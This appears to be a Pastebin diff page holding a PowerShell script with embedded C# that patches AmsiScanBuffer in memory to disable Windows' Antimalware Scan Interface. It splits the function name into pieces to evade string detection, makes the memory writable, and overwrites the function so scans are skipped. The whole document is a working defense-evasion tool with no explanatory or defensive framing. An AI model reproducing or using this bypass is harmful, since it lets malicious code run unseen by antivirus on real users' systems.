View difference between Paste ID: HMmiaQD3 and BJ1tUFea
SHOW: | | - or go back to the newest paste.
1
$Ref = (
2
"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3
"System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
4
)
5
6
$Source = @"
7
using System;
8
using System.Runtime.InteropServices;
9
10
namespace Bypass
11
{
12
public class AMSI
13
{
14
[DllImport("kernel32")]
15
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
16
[DllImport("kernel32")]
17
public static extern IntPtr LoadLibrary(string name);
18
[DllImport("kernel32")]
19
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
20
21
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
22
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
23
24
public static int Disable()
25
{
26
IntPtr TargetDLL = LoadLibrary("amsi.dll");
27
if (TargetDLL == IntPtr.Zero) { return 1; }
28
29
IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
30
if (ASBPtr == IntPtr.Zero) { return 1; }
31
32
UIntPtr dwSize = (UIntPtr)5;
33
uint Zero = 0;
34
35
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
36
37
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
38
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
39
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
40
MoveMemory(ASBPtr, unmanagedPointer, 6);
41
42
return 0;
43
}
44
}
45
}
46
"@
47
48
Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp